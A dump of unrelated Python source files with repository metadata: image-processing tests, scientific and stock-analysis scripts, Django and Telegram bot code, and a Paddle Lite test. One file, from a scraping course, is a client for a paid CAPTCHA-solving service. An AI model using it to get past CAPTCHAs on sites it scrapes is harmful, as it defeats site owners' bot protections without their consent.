self.assertTrue(isinstance(eroded, Image))
# The erode_binary function only makes sense on dtype bool.
with self.assertRaises(TypeError):
erode_binary(array.astype(np.uint8))
def test_erode_binary_with_selem(self):
from jicbioimage.transform import erode_binary
selem = np.ones((3, 3))
array = np.array(
[[0, 0, 0, 0, 0, 0, 0],
[0, 1, 0, 1, 1, 1, 0],
[0, 1, 1, 1, 1, 1, 0],
[0, 1, 1, 1, 1, 1, 0],
[0, 1, 1, 1, 1, 1, 0],
[0, 1, 1, 1, 1, 1, 0],
[0, 0, 0, 0, 0, 0, 0]], dtype=np.bool)
expected = np.array(
[[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 1, 0, 0],
[0, 0, 1, 1, 1, 0, 0],
[0, 0, 1, 1, 1, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0]], dtype=np.bool)
eroded = erode_binary(array, selem=selem)
self.assertTrue(np.array_equal(expected, eroded))
def test_find_edges_sobel(self):
from jicbioimage.transform import find_edges_sobel
from jicbioimage.core.image import Image
array = np.array(
[[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 255, 255, 255, 0, 0],
[0, 0, 255, 255, 255, 0, 0],
[0, 0, 255, 255, 255, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0]], dtype=np.uint8)
expected = np.array(
[[0, 0, 0, 0, 0, 0, 0],
[0, 0.25, 0.55901699, 0.70710678, 0.55901699, 0.25, 0],
[0, 0.55901699, 0.75, 0.70710678, 0.75, 0.55901699, 0],
[0, 0.70710678, 0.70710678, 0, 0.70710678, 0.70710678, 0],
[0, 0.55901699, 0.75, 0.70710678, 0.75, 0.55901699, 0],
[0, 0.25, 0.55901699, 0.70710678, 0.55901699, 0.25, 0],
[0, 0, 0, 0, 0, 0, 0]], dtype=np.float)
edges = find_edges_sobel(array)
self.assertTrue(np.allclose(expected, edges))
self.assertTrue(isinstance(edges, Image))
def test_find_edges_sobel_with_mask(self):
from jicbioimage.transform import find_edges_sobel
mask = np.array(
[[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 1, 1, 1],
[1, 1, 1, 1, 0, 0, 0],
[1, 1, 1, 1, 0, 0, 0],
[1, 1, 1, 1, 0, 0, 0]], dtype=np.uint8)
array = np.array(
[[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 255, 255, 255, 0, 0],
[0, 0, 255, 255, 255, 0, 0],
[0, 0, 255, 255, 255, 0, 0],
[0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0]], dtype=np.uint8)
expected = np.array(
[[0, 0, 0, 0, 0, 0, 0],
[0, 0.25, 0.55901699, 0.70710678, 0.55901699, 0.25, 0],
[0, 0.55901699, 0.75, 0.70710678, 0.75, 0.55901699, 0],
[0, 0.70710678, 0.70710678, 0, 0, 0, 0],
[0, 0.55901699, 0.75, 0, 0, 0, 0],
[0, 0.25, 0.55901699, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0]], dtype=np.float)
edges = find_edges_sobel(array, mask=mask)
self.assertTrue(np.allclose(expected, edges))
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
d7fd85dcb22795bc5b355d57accac43d35b1e6b2 | 290dfba092f9f88eb62e1b37ea290f01f836acd7 | /methylation/bicluster_analysis/run_hmf_mtf_store_matrices.py | 5760d111f9af9bad3f5077e6aed7ebc95ebff383 | [] | no_license | rintukutum/HMF | fb1ce6f76064bef6b9a6fd5cfeaccd16cf624cd6 | 87c1bc73ddc375c56ab101185d7fc1b98df1c1ba | refs/heads/master | 2020-04-04T10:17:11.722275 | 2018-06-10T10:21:36 | 2018-06-10T10:21:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,482 | py | """
Run the HMF D-MTF method on the methylation datasets, and store the expectation
of the factor matrices F, Sn.
"""
import sys, os
project_location = os.path.dirname(__file__)+"/../../../"
sys.path.append(project_location)
from HMF.code.models.hmf_Gibbs import HMF_Gibbs
from HMF.methylation.load_methylation import filter_driver_genes_std
import numpy
''' Settings HMF '''
iterations, burn_in, thinning = 200, 150, 2 # 1000, 800, 5 #
indices_thinning = range(burn_in,iterations,thinning)
settings = {
'priorF' : 'normal',
'priorSn' : ['normal','normal','normal'],
'orderF' : 'columns',
'orderSn' : ['rows','rows','rows'],
'ARD' : True,
'element_sparsity' : True,
}
hyperparameters = {
'alphatau' : 1,
'betatau' : 1,
'alpha0' : 0.001,
'beta0' : 0.001,
'alphaS' : 1.,
'betaS' : 0.001,
'lambdaF' : 0.1,
}
init = {
'F' : 'kmeans',
'Sn' : 'least',
'lambdat' : 'exp',
'tau' : 'exp'
}
E = ['genes','samples']
K = {'genes':20, 'samples':20}
alpha_n = [1., 1., 1.] # GE, PM, GM
''' Load in data '''
R_ge, R_pm, R_gm, genes, samples = filter_driver_genes_std()
M_ge, M_pm, M_gm = numpy.ones(R_ge.shape), numpy.ones(R_pm.shape), numpy.ones(R_gm.shape)
R = [
(R_ge, M_ge, 'genes', 'samples', alpha_n[0]),
(R_pm, M_pm, 'genes', 'samples', alpha_n[1]),
(R_gm, M_gm, 'genes', 'samples', alpha_n[1]),
]
C, D = [], []
''' Run the Gibbs sampler '''
HMF = HMF_Gibbs(R,C,D,K,settings,hyperparameters)
HMF.initialise(init)
HMF.run(iterations)
''' Store the mean of the matrices. '''
folder = project_location+'HMF/methylation/bicluster_analysis/matrices/'
E_drugs, E_cell_lines = 'genes', 'samples'
n_ge, n_pm, n_gm = 0, 1, 2
exp_F_genes = HMF.approx_expectation_Ft(E=E_drugs, burn_in=burn_in, thinning=thinning)
exp_F_samples = HMF.approx_expectation_Ft(E=E_cell_lines, burn_in=burn_in, thinning=thinning)
exp_S_ge = HMF.approx_expectation_Sn(n=n_ge, burn_in=burn_in, thinning=thinning)
exp_S_pm = HMF.approx_expectation_Sn(n=n_pm, burn_in=burn_in, thinning=thinning)
exp_S_gm = HMF.approx_expectation_Sn(n=n_gm, burn_in=burn_in, thinning=thinning)
numpy.savetxt(fname=folder+'F_genes', X=exp_F_genes)
numpy.savetxt(fname=folder+'F_samples', X=exp_F_samples)
numpy.savetxt(fname=folder+'S_ge', X=exp_S_ge)
numpy.savetxt(fname=folder+'S_pm', X=exp_S_pm)
numpy.savetxt(fname=folder+'S_gm', X=exp_S_gm)
| [
"[email protected]"
] | |
d95c6a72d162c022ff13a6a9180b38d6dc4d03f7 | 26f8a8782a03693905a2d1eef69a5b9f37a07cce | /test/test_destiny_definitions_destiny_item_stat_block_definition.py | fd1caacbe42ae8f19d925e97ff45e137b5b68be2 | [] | no_license | roscroft/openapi3-swagger | 60975db806095fe9eba6d9d800b96f2feee99a5b | d1c659c7f301dcfee97ab30ba9db0f2506f4e95d | refs/heads/master | 2021-06-27T13:20:53.767130 | 2017-08-31T17:09:40 | 2017-08-31T17:09:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,333 | py | # coding: utf-8
"""
Bungie.Net API
These endpoints constitute the functionality exposed by Bungie.net, both for more traditional website functionality and for connectivity to Bungie video games and their related functionality.
OpenAPI spec version: 2.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import os
import sys
import unittest
import swagger_client
from swagger_client.rest import ApiException
from swagger_client.models.destiny_definitions_destiny_item_stat_block_definition import DestinyDefinitionsDestinyItemStatBlockDefinition
class TestDestinyDefinitionsDestinyItemStatBlockDefinition(unittest.TestCase):
""" DestinyDefinitionsDestinyItemStatBlockDefinition unit test stubs """
def setUp(self):
pass
def tearDown(self):
pass
def testDestinyDefinitionsDestinyItemStatBlockDefinition(self):
"""
Test DestinyDefinitionsDestinyItemStatBlockDefinition
"""
# FIXME: construct object with mandatory attributes with example values
#model = swagger_client.models.destiny_definitions_destiny_item_stat_block_definition.DestinyDefinitionsDestinyItemStatBlockDefinition()
pass
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
e42222439cae23f5147a01df166ec8da65f2e33b | 4de0c6d3a820d7669fcef5fd035416cf85b35f23 | /ITcoach/爬虫课件/第五章:requests模块高级/CodeClass.py | 74cf4cb614e8aae221e9f0d2e98fadb407dfbb64 | [
"AFL-3.0"
] | permissive | ww35133634/chenxusheng | 5e1b7391a94387b73bcd7c4d12f1247b79be8016 | 666e0eb3aedde46342faf0d4030f5c72b10c9732 | refs/heads/master | 2022-11-12T03:46:47.953680 | 2020-07-02T20:50:56 | 2020-07-02T20:50:56 | 275,168,080 | 0 | 0 | AFL-3.0 | 2020-07-02T20:58:37 | 2020-06-26T13:54:48 | HTML | UTF-8 | Python | false | false | 3,265 | py | import http.client, mimetypes, urllib, json, time, requests
######################################################################
class YDMHttp:
apiurl = 'http://api.yundama.com/api.php'
username = ''
password = ''
appid = ''
appkey = ''
def __init__(self, username, password, appid, appkey):
self.username = username
self.password = password
self.appid = str(appid)
self.appkey = appkey
def request(self, fields, files=[]):
response = self.post_url(self.apiurl, fields, files)
response = json.loads(response)
return response
def balance(self):
data = {'method': 'balance', 'username': self.username, 'password': self.password, 'appid': self.appid,
'appkey': self.appkey}
response = self.request(data)
if (response):
if (response['ret'] and response['ret'] < 0):
return response['ret']
else:
return response['balance']
else:
return -9001
def login(self):
data = {'method': 'login', 'username': self.username, 'password': self.password, 'appid': self.appid,
'appkey': self.appkey}
response = self.request(data)
if (response):
if (response['ret'] and response['ret'] < 0):
return response['ret']
else:
return response['uid']
else:
return -9001
def upload(self, filename, codetype, timeout):
data = {'method': 'upload', 'username': self.username, 'password': self.password, 'appid': self.appid,
'appkey': self.appkey, 'codetype': str(codetype), 'timeout': str(timeout)}
file = {'file': filename}
response = self.request(data, file)
if (response):
if (response['ret'] and response['ret'] < 0):
return response['ret']
else:
return response['cid']
else:
return -9001
def result(self, cid):
data = {'method': 'result', 'username': self.username, 'password': self.password, 'appid': self.appid,
'appkey': self.appkey, 'cid': str(cid)}
response = self.request(data)
return response and response['text'] or ''
def decode(self, filename, codetype, timeout):
cid = self.upload(filename, codetype, timeout)
if (cid > 0):
for i in range(0, timeout):
result = self.result(cid)
if (result != ''):
return cid, result
else:
time.sleep(1)
return -3003, ''
else:
return cid, ''
def report(self, cid):
data = {'method': 'report', 'username': self.username, 'password': self.password, 'appid': self.appid,
'appkey': self.appkey, 'cid': str(cid), 'flag': '0'}
response = self.request(data)
if (response):
return response['ret']
else:
return -9001
def post_url(self, url, fields, files=[]):
for key in files:
files[key] = open(files[key], 'rb');
res = requests.post(url, files=files, data=fields)
return res.text | [
"[email protected]"
] | |
1defa08cad2feb8f0a409a161b01ac1c0c65ac80 | bf6329ef922505a5c8c4797d6011e81295b753ad | /extensions/ban_my_self.py | 0b5f77f80215955f3d893588af9b7870b1d9bb37 | [] | no_license | Xi-Plus/Ethics-Committee | b4ed9077bc4113a8d42caf55198b78e3bb18c8bf | cd79dfc5b936b80ac8250f61261d45ad95a4fc55 | refs/heads/master | 2023-08-30T21:29:21.782947 | 2023-08-20T09:20:47 | 2023-08-20T09:20:47 | 134,817,641 | 7 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,642 | py | import re
import time
import telegram
from Kamisu66 import EthicsCommitteeExtension
class BanMySelf(EthicsCommitteeExtension): # pylint: disable=W0223
MODULE_NAME = 'ban_my_self'
COMMAND = r'^/banmyself@Kamisu66EthicsCommitteeBot$'
DURATION = 60
def __init__(self, enabled_chat_id):
self.enabled_chat_id = enabled_chat_id
def main(self, EC):
update = EC.update
if update.effective_chat.id not in self.enabled_chat_id:
return
if not update.message or not update.message.text:
return
if re.search(self.COMMAND, update.message.text):
EC.bot.delete_message(update.effective_chat.id, update.message.message_id)
chatMember = update.effective_chat.get_member(update.effective_user.id)
if chatMember.status not in [chatMember.ADMINISTRATOR, chatMember.CREATOR]:
try:
until_date = until_date = int(time.time() + self.DURATION)
EC.bot.ban_chat_member(
chat_id=update.effective_chat.id,
user_id=update.effective_user.id,
until_date=until_date,
)
except telegram.error.BadRequest as e:
EC.log('[ban_my_self] restrict {} in {} failed: {}'.format(
update.effective_user.id, update.effective_chat.id, e.message))
else:
EC.log('[ban_my_self] skip restrict {} in {}'.format(
update.effective_user.id, update.effective_chat.id))
def __mainclass__():
return BanMySelf
| [
"[email protected]"
] | |
6bada32e456c251b91a0d28e117d3aca206621b0 | cefab48dff8fc40786f0a45f3df272646365e9f5 | /python/pyMARS_old/python_mars_scripts2a/delete_files.py | 88f6d9bb47f4e0691b88aa8e27a717a6af9434ba | [] | no_license | shaunhaskey/pyMARS | d40265bd2d445f0429ae7177f2e75d83f0ba8b30 | e2424088492a8ab2f34acf62db42a77e44d5bc3b | refs/heads/master | 2020-12-25T17:24:28.392539 | 2016-08-01T22:14:27 | 2016-08-01T22:14:27 | 17,684,575 | 0 | 0 | null | 2014-03-13T03:41:59 | 2014-03-12T21:21:08 | Python | UTF-8 | Python | false | false | 1,194 | py | import numpy as num
import time, os, sys, string, re, csv, pickle
import scipy.interpolate as interpolate
from matplotlib.mlab import griddata
################ SET THESE BEFORE RUNNING!!!!########
project_dir = '/scratch/haskeysr/mars/project1_new_eq/'
pickle_file_name = '9_project1_new_eq_COIL_upper_post_setup_new_low_beta2.pickle'
#folders = 'RUNrfa_FEEDI-120.p RUNrfa_FEEDI-120.vac RUNrfa_FEEDI-240.p RUNrfa_FEEDI-240.vac RUNrfa_FEEDI-60.p RUNrfa_FEEDI-60.vac'
folders = 'OUTRMAR OUTVMAR'
##################################
#Open previous data structure
pickle_file = open(pickle_file_name,'r')
project_dict = pickle.load(pickle_file)
pickle_file.close()
total = len(project_dict['sims'].keys())
count = 0
fails = 0
for current in project_dict['sims'].keys():
original_chease_dir = project_dict['sims'][current]['dir_dict']['chease_dir']
chease_pest_dir = original_chease_dir[:-1]+'_PEST/'
print chease_pest_dir
try:
os.chdir(chease_pest_dir)
string_command = 'rm '+ folders
os.system(string_command)
except:
fails += 1
print 'dir not found'
print 'finished %d of %d,fails %d'%(count,total,fails)
count += 1
| [
"[email protected]"
] | |
3227d0444c8e269c7a4c93dd6a9209005345f469 | f67b772f58bf153f76dab5521f982d01dc57c12b | /permission.py | 4d8840f6aae8bab09699845a5b79ed461fa3b87a | [] | no_license | culibraries/ark-django-app | 5eddb5f2bd5057a81d100eddb549a15e86852f28 | 355527ce36770c0d27dcf6c524154ac45b9d6e83 | refs/heads/main | 2023-02-24T05:08:12.421615 | 2020-09-21T20:34:41 | 2020-09-21T20:34:41 | 287,331,709 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 468 | py | from rest_framework import permissions
from django.contrib.contenttypes.models import ContentType
from django.contrib.auth.models import Permission
class arkPermission(permissions.BasePermission):
def has_permission(self, request, view):
if request.method in permissions.SAFE_METHODS:
return True
else:
if request.user and request.user.groups.filter(name='ark-admin'):
return True
return False
| [
"[email protected]"
] | |
016c2124a86821c015a56c70460990d39129c536 | 384fc08ee847e186a6f2e555a930d6d175728ee2 | /scripts/disp_client.py | 6f77e04f574be90f725dcbe9556b503a7957f313 | [] | no_license | mrmh2/scaleca | ae2d1ada7b8ea423d2c1e1b44787d31347d5bfbd | 4374dc5e6d09eeb4ce3ceea51a0a9e7b50dabbfe | refs/heads/master | 2021-03-12T22:48:26.945721 | 2013-08-27T14:24:19 | 2013-08-27T14:24:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,389 | py | #!/usr/bin/env python
"""disp_client.py - simple text display client.
Connects to server, then constructs simple update loop which sends a command to
the server to run a simulation timestep, then displays the results."""
import os
import sys
import zmq
import numpy as np
def setup():
parent, cdir = os.path.split(os.path.dirname(__file__))
sys.path.append(parent)
from scaleca.disp_simple import CADisplay
globals()['CADisplay'] = CADisplay
def connect_to_server(port):
context = zmq.Context()
#print "Connecting to server..."
socket = context.socket(zmq.REQ)
socket.connect("tcp://localhost:%s" % port)
return socket
def string_state_to_array(sstate, shape):
c_sep = ','.join(sstate)
one_d = np.fromstring(c_sep, dtype=np.uint8, sep=',')
return one_d.reshape(shape)
def unpack_string_rep(sstate):
dim, astring = sstate.split(':')
shape = map(int, dim.split(','))
astate = string_state_to_array(astring, shape)
return astate
def make_update_loop(socket):
def update_loop():
socket.send('RUN')
message = socket.recv()
return unpack_string_rep(message)
return update_loop
def main():
setup()
port = "5556"
socket = connect_to_server(port)
ul = make_update_loop(socket)
display = CADisplay()
display.run_display(ul)
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
7af3d393b2ab28233d6337137cf6f36f1ad5421a | a12c090eb57da4c8e1f543a1a9d497abad763ccd | /django-stubs/conf/urls/i18n.pyi | 92bedee797dfd45df0608d28ec4edc703e475012 | [
"BSD-3-Clause"
] | permissive | debuggerpk/django-stubs | be12eb6b43354a18675de3f70c491e534d065b78 | bbdaebb244bd82544553f4547157e4f694f7ae99 | refs/heads/master | 2020-04-04T08:33:52.358704 | 2018-09-26T19:32:19 | 2018-09-26T19:32:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 350 | pyi | from typing import Any, List, Optional, Tuple, Union
from django.urls.resolvers import URLPattern, URLResolver
def i18n_patterns(
*urls: Any, prefix_default_language: bool = ...
) -> Union[List[List[Any]], List[URLPattern], List[URLResolver]]: ...
def is_language_prefix_patterns_used(urlconf: str) -> Tuple[bool, bool]: ...
urlpatterns: Any
| [
"[email protected]"
] | |
591625010b059b7a1ee63a7bc597dfa5a0166c26 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02733/s001901229.py | aba6fbc1ebc1dcab87ce5d60ec89617753016b1a | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,527 | py | import math
#import numpy as np
import queue
from collections import deque,defaultdict
import heapq as hpq
import itertools
from sys import stdin,setrecursionlimit
#from scipy.sparse.csgraph import dijkstra
#from scipy.sparse import csr_matrix
ipt = stdin.readline
setrecursionlimit(10**7)
def main():
h,w,k = map(int,ipt().split())
s = [list(map(int,list(input()))) for _ in [0]*h]
'''
sms = [[0]*w for _ in [0]*h]
for i in range(w):
for j in range(h):
sms[j][i] = sms[j-1][i]+s[j][i]
print(i)
'''
cmi = 10**18
for i in range(2**(h-1)):
pos = [0]*h
for j in range(h-1):
if (i >> j) & 1:
pos[j+1] = pos[j]+1
else:
pos[j+1] = pos[j]
cmii = pos[-1]
si = [0]*h
for jj in range(h):
si[pos[jj]] += s[jj][0]
if max(si) > k:
continue
f = True
for j in range(1,w):
if f:
for ii in range(h):
if si[pos[ii]]+s[ii][j] > k:
cmii += 1
si = [0]*h
for jj in range(h):
si[pos[jj]] += s[jj][j]
if max(si) > k:
f = False
break
else:
si[pos[ii]]+=s[ii][j]
if f and cmii < cmi:
cmi = cmii
print(cmi)
return
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
85a6f0dce317685ae612e2bca918b99ee3ef6b1d | 3a4549470cb0e6e55c98522ba08ce629d60960ea | /froide/team/admin.py | bd9346dc479e03302643ee0b3e01d265517a39e5 | [
"MIT"
] | permissive | lanmarc77/froide | 4e28d3e33017b3e776a7eb13d63c7b71bdb3bc68 | bddc8bb27c8a7c2a959003dda724194948bc381a | refs/heads/main | 2023-03-17T03:02:01.277465 | 2021-03-06T16:37:26 | 2021-03-06T16:37:26 | 345,137,125 | 0 | 0 | MIT | 2021-03-06T16:13:09 | 2021-03-06T16:13:09 | null | UTF-8 | Python | false | false | 359 | py | from django.contrib import admin
from .models import Team, TeamMembership
class TeamMembershipInline(admin.StackedInline):
model = TeamMembership
raw_id_fields = ('user', 'team',)
class TeamAdmin(admin.ModelAdmin):
list_display = ('name', 'created', 'member_count')
inlines = [TeamMembershipInline]
admin.site.register(Team, TeamAdmin)
| [
"[email protected]"
] | |
4450c9e63147eef26ddad97af09b212090a7a78f | 46224332185d4d0a1a56ba12ca0fad68e0090693 | /main.py | ea6fe8fcf3a2f2104be8faa4f8b4442114aad9ed | [] | no_license | n1k0din/bitly | 131ccc2d56e60b994a7eb04a1809744c27f7092c | a6a4735105e09fcc7134783ad2748239f2e92127 | refs/heads/main | 2023-04-03T11:27:25.676797 | 2021-04-14T00:03:27 | 2021-04-14T00:03:27 | 356,873,736 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,554 | py | import argparse
import os
from urllib.parse import urlparse
import requests
from dotenv import load_dotenv
BITLY_API_URL = 'https://api-ssl.bitly.com/v4'
def create_argument_parser():
parser = argparse.ArgumentParser(description='Сокращает ссылку или выдает \
количество кликов по битлинку')
parser.add_argument('url', help='URL для обработки')
return parser
def create_auth_headers(token):
return {'Authorization': f'Bearer {token}'}
def remove_scheme_from_url(url):
parsed = urlparse(url)
return parsed._replace(scheme='').geturl()
def is_bitlink(token, url):
headers = create_auth_headers(token)
stripped_url = remove_scheme_from_url(url)
bitlink_info_method = f'/bitlinks/{stripped_url}'
bitlink_info_url = f'{BITLY_API_URL}{bitlink_info_method}'
response = requests.get(bitlink_info_url, headers=headers)
return response.ok
def shorten_link(token, url):
headers = create_auth_headers(token)
shorten_method = '/shorten'
shorten_url = f'{BITLY_API_URL}{shorten_method}'
payload = {'long_url': url}
response = requests.post(shorten_url, headers=headers, json=payload)
response.raise_for_status()
return response.json()['link']
def count_clicks(token, bitlink):
headers = create_auth_headers(token)
stripped_url = remove_scheme_from_url(bitlink)
count_clicks_method = f'/bitlinks/{stripped_url}/clicks/summary'
count_clicks_url = f'{BITLY_API_URL}{count_clicks_method}'
params = {'units': -1}
response = requests.get(count_clicks_url, headers=headers, params=params)
response.raise_for_status()
return response.json()['total_clicks']
def process_url(token, url):
if is_bitlink(token, url):
try:
clicks_amount = count_clicks(token, url)
except requests.exceptions.HTTPError:
return 'Кажется, нет такой ссылки'
return f'Количество кликов: {clicks_amount}'
try:
bitlink = shorten_link(token, url)
except requests.exceptions.HTTPError as e:
return f'{e}\nНе удалось получить сокращенную ссылку, проверьте ввод'
return f'{bitlink}'
def main():
load_dotenv()
bitly_token = os.getenv('BITLY_TOKEN')
arg_parser = create_argument_parser()
user_link = arg_parser.parse_args().url
print(process_url(bitly_token, user_link))
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
7ff446abab86764c91765bd0cb1939d5c7d97daa | 6da0ded69dde46394dc00f6cebd2541938920dff | /lite/tests/unittest_py/op/test_reduce_mean_op.py | 17349af14ca5bb7ec03c6ee39edb95d7a67eb33e | [
"Apache-2.0"
] | permissive | ishine/paddle-mobile | e346f1fb537485d60c6e8f7eb5cba102de0fe6c2 | 42dbfe288dc49625649dc9499258d2bcf79c9dcd | refs/heads/develop | 2023-05-30T10:17:52.866644 | 2023-05-16T11:40:33 | 2023-05-16T11:40:33 | 201,366,144 | 0 | 0 | Apache-2.0 | 2020-01-14T07:23:03 | 2019-08-09T01:35:22 | C++ | UTF-8 | Python | false | false | 4,949 | py | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import sys
sys.path.append('../')
from auto_scan_test import AutoScanTest, IgnoreReasons
from program_config import TensorConfig, ProgramConfig, OpConfig, CxxConfig, TargetType, PrecisionType, DataLayoutType, Place
import unittest
import hypothesis
from hypothesis import given, settings, seed, example, assume
import hypothesis.strategies as st
from functools import partial
import numpy as np
import argparse
class TestReduceMeanOp(AutoScanTest):
def __init__(self, *args, **kwargs):
AutoScanTest.__init__(self, *args, **kwargs)
self.enable_testing_on_place(TargetType.X86, PrecisionType.FP32,
DataLayoutType.NCHW)
self.enable_testing_on_place(
TargetType.ARM,
PrecisionType.FP32,
DataLayoutType.NCHW,
thread=[1, 4])
opencl_places = [
Place(TargetType.OpenCL, PrecisionType.FP16,
DataLayoutType.ImageDefault), Place(
TargetType.OpenCL, PrecisionType.FP16,
DataLayoutType.ImageFolder),
Place(TargetType.OpenCL, PrecisionType.FP32, DataLayoutType.NCHW),
Place(TargetType.OpenCL, PrecisionType.Any,
DataLayoutType.ImageDefault), Place(
TargetType.OpenCL, PrecisionType.Any,
DataLayoutType.ImageFolder),
Place(TargetType.OpenCL, PrecisionType.Any, DataLayoutType.NCHW),
Place(TargetType.Host, PrecisionType.FP32)
]
self.enable_testing_on_place(places=opencl_places)
self.enable_testing_on_place(TargetType.NNAdapter, PrecisionType.FP32)
self.enable_devices_on_nnadapter(device_names=[
"cambricon_mlu", "intel_openvino", "kunlunxin_xtcl"
])
def is_program_valid(self,
program_config: ProgramConfig,
predictor_config: CxxConfig) -> bool:
return True
def sample_program_configs(self, draw):
in_shape = draw(
st.lists(
st.integers(
min_value=1, max_value=10), min_size=4, max_size=4))
keep_dim = draw(st.booleans())
axis_list = draw(
st.sampled_from([[0], [1], [2], [3], [0, 1], [1, 2], [2, 3]]))
reduce_all_data = True if axis_list == None or axis_list == [] else False
def generate_input(*args, **kwargs):
return np.random.random(in_shape).astype(np.float32)
build_ops = OpConfig(
type="reduce_mean",
inputs={"X": ["input_data"], },
outputs={"Out": ["output_data"], },
attrs={
"dim": axis_list,
"keep_dim": keep_dim,
"reduce_all": reduce_all_data,
})
program_config = ProgramConfig(
ops=[build_ops],
weights={},
inputs={
"input_data": TensorConfig(data_gen=partial(generate_input)),
},
outputs=["output_data"])
return program_config
def sample_predictor_configs(self):
return self.get_predictor_configs(), ["reduce_mean"], (1e-2, 1e-2)
def add_ignore_pass_case(self):
def _teller1(program_config, predictor_config):
target_type = predictor_config.target()
in_shape = list(program_config.inputs["input_data"].shape)
axis = program_config.ops[0].attrs["dim"]
if target_type == TargetType.OpenCL:
if len(axis) == 1 and len(in_shape) == 4:
return True
self.add_ignore_check_case(
_teller1, IgnoreReasons.ACCURACY_ERROR,
"The op output has diff in a specific case on opencl. We need to fix it as soon as possible."
)
def _teller3(program_config, predictor_config):
target_type = predictor_config.target()
if target_type == TargetType.OpenCL:
return True
self.add_ignore_check_case(_teller3,
IgnoreReasons.PADDLELITE_NOT_SUPPORT,
"Expected kernel_type false.")
def test(self, *args, **kwargs):
self.run_and_statis(quant=False, max_examples=100)
if __name__ == "__main__":
unittest.main(argv=[''])
| [
"[email protected]"
] | |
da715d70607b45a4b6225f162482dd1ef2943ae5 | 1af49694004c6fbc31deada5618dae37255ce978 | /chrome/browser/chromeos/exo/DEPS | 1ff90b7330527bd26d73215c1179e91ca9fc6fb5 | [
"BSD-3-Clause"
] | permissive | sadrulhc/chromium | 59682b173a00269ed036eee5ebfa317ba3a770cc | a4b950c23db47a0fdd63549cccf9ac8acd8e2c41 | refs/heads/master | 2023-02-02T07:59:20.295144 | 2020-12-01T21:32:32 | 2020-12-01T21:32:32 | 317,678,056 | 3 | 0 | BSD-3-Clause | 2020-12-01T21:56:26 | 2020-12-01T21:56:25 | null | UTF-8 | Python | false | false | 166 | specific_include_rules = {
"chrome_file_helper\.cc": [
"+ash/wm/window_util.h",
],
"chrome_file_helper_unittest\.cc": [
"+ash/wm/window_util.h",
],
}
| [
"[email protected]"
] | ||
0606e6062f3381696f7a7d9c201d4a0bb6283488 | 6b1e89d486515d40722cf780a2925c7269f68c5f | /05Month/pandas/extra/stock.py | d16f6b661d65d232a678f127998c4a1869ee33c5 | [] | no_license | LiuJingGitLJ/PythonAnalysis | c2c7d96a1dde81a911a828a9dcb4e3fc868ca83e | ddee4a026b3313aa43583311a1b73b22d5f13678 | refs/heads/master | 2020-03-14T22:58:48.329637 | 2018-05-02T12:22:30 | 2018-05-02T12:22:30 | 131,833,542 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,988 | py | # -*- coding: utf-8 -*-
import numpy as np
import pandas as pd
names = ['date',
'time',
'opening_price',
'ceiling_price',
'floor_price',
'closing_price',
'volume',
'amount']
raw = pd.read_csv('SH600690.csv', names = names, header = None, index_col='date', parse_dates=True)
print raw.head()
print
'''
# 根据涨跌幅判断数据是否有效
def _valid_price(prices):
return (((prices.max() - prices.min()) / prices.min()) < 0.223).all()
# 按日期分组
days = raw.groupby(level = 0).agg(
{'opening_price':lambda prices: _valid_price(prices) and prices[0] or 0,
'ceiling_price':lambda prices: _valid_price(prices) and np.max(prices) or 0,
'floor_price':lambda prices: _valid_price(prices) and np.min(prices) or 0,
'closing_price':lambda prices: _valid_price(prices) and prices[-1] or 0,
'volume':'sum',
'amount':'sum'})
print days.head()
print
# 缺少数据处理,因为周末没有交易。
start = days.iloc[0:1].index.tolist()[0]
end = days.iloc[-2:-1].index.tolist()[0]
new_idx = pd.date_range(start = start, end = end)
print new_idx
data = days.reindex(new_idx) # 重新索引
zero_values = data.loc[~(data.volume > 0)].loc[:, ['volume', 'amount']]
data.update(zero_values.fillna(0)) # 交易量和金额填0
data.fillna(method = 'ffill', inplace = True) # 价格用前一天的填充
print data.head()
print
# 计算30各自然日里的股票平均波动周率
def gen_item_group_index(total, group_len):
group_count = total / group_len
group_index = np.arange(total)
for i in xrange(group_count):
group_index[i * group_len: (i+ 1) * group_len] = i
